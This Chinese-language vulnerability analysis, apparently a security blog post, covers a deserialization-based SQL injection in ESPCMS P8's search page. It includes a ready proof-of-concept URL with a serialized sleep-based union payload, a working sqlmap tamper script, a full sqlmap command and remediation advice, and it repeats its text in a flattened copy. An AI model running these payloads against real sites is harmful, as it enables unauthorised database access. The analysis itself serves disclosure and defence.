某spcms/search一处尴尬的注入
字数 846 2025-08-29 08:31:53

ESPCMS_search 反序列化SQL注入漏洞分析

漏洞概述

ESPCMS P8版本中的Search.php文件存在一处反序列化导致的SQL注入漏洞,攻击者可以通过精心构造的序列化数据绕过全局过滤,实现SQL注入攻击。

漏洞环境

漏洞分析

漏洞位置

\ESPCMS_P8_18101601_INSTALL\install_pack\espcms_web\Search.php 第51行

$_REQUEST['attr_array'] = unserialize(stripslashes($_GET['attr_array']));

漏洞原理

  1. 全局过滤机制:系统对输入进行了全局过滤,会将单引号转义为\'
  2. 反序列化处理:代码使用unserialize(stripslashes())处理attr_array参数
    • stripslashes()会去除转义字符\
    • unserialize()将字符串反序列化为PHP变量
  3. SQL注入产生:经过上述处理后,单引号被还原,导致SQL注入

关键代码流程

global $espcms_web_templates, $espcms_link_db;
$db_table = ESPCMS_DB_PREFIX . 'document AS a';
$db_table_model_att = ESPCMS_DB_PREFIX . 'document_model_att';
$db_table_document_attr = ESPCMS_DB_PREFIX . 'document_attr';
$keyword = $_REQUEST['keyword'];
if (!$keyword) {
    ESPCMS_Dialog::Message_Page('db_err');
}

漏洞验证

手动验证

访问URL:

http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=a:1:{s:28:"1' union select sleep(8)-- -";i:1;}

POST数据:

keyword=a&mid=0

SQLMap自动化验证

使用以下Python脚本作为tamper:

#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re
import phpserialize
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload
    if payload:
        payload = {payload:1}
        retVal = phpserialize.dumps(payload)
    return retVal

SQLMap命令:

python sqlmap.py -u "http://127.0.0.1/safe/ESPCMS_P8_18101601_INSTALL/install_pack/index.php?ac=Search&at=List&attr_array=" --data="keyword=a&mid=0" --tamper=serialize.py --level 3 --dbms=mysql 5.5 --method="GET" -p attr_array

修复建议

  1. 避免直接反序列化用户输入
  2. 对反序列化后的数据进行严格过滤
  3. 使用参数化查询或预处理语句
  4. 更新到最新版本

技术要点总结

  1. PHP反序列化漏洞利用
  2. stripslashes()函数的安全影响
  3. SQL注入绕过技巧
  4. SQLMap tamper脚本编写

参考

ESPCMS_ search 反序列化SQL注入漏洞分析 漏洞概述 ESPCMS P8版本中的Search.php文件存在一处反序列化导致的SQL注入漏洞,攻击者可以通过精心构造的序列化数据绕过全局过滤,实现SQL注入攻击。 漏洞环境 受影响版本:ESPCMS P8 18101601 下载地址: https://www.earclink.com/upfile/download/espcmsp8download/ESPCMS_ P8_ 18101601_ INSTALL.zip 漏洞分析 漏洞位置 \ESPCMS_P8_18101601_INSTALL\install_pack\espcms_web\Search.php 第51行 漏洞原理 全局过滤机制 :系统对输入进行了全局过滤,会将单引号转义为 \' 反序列化处理 :代码使用 unserialize(stripslashes()) 处理 attr_array 参数 stripslashes() 会去除转义字符 \ unserialize() 将字符串反序列化为PHP变量 SQL注入产生 :经过上述处理后,单引号被还原,导致SQL注入 关键代码流程 漏洞验证 手动验证 访问URL: POST数据: SQLMap自动化验证 使用以下Python脚本作为tamper: SQLMap命令: 修复建议 避免直接反序列化用户输入 对反序列化后的数据进行严格过滤 使用参数化查询或预处理语句 更新到最新版本 技术要点总结 PHP反序列化漏洞利用 stripslashes() 函数的安全影响 SQL注入绕过技巧 SQLMap tamper脚本编写 参考 阿里云通用漏洞验收及奖励标准: https://help.aliyun.com/knowledge_ detail/40065.html PHP序列化/反序列化安全: https://www.php.net/manual/en/function.unserialize.php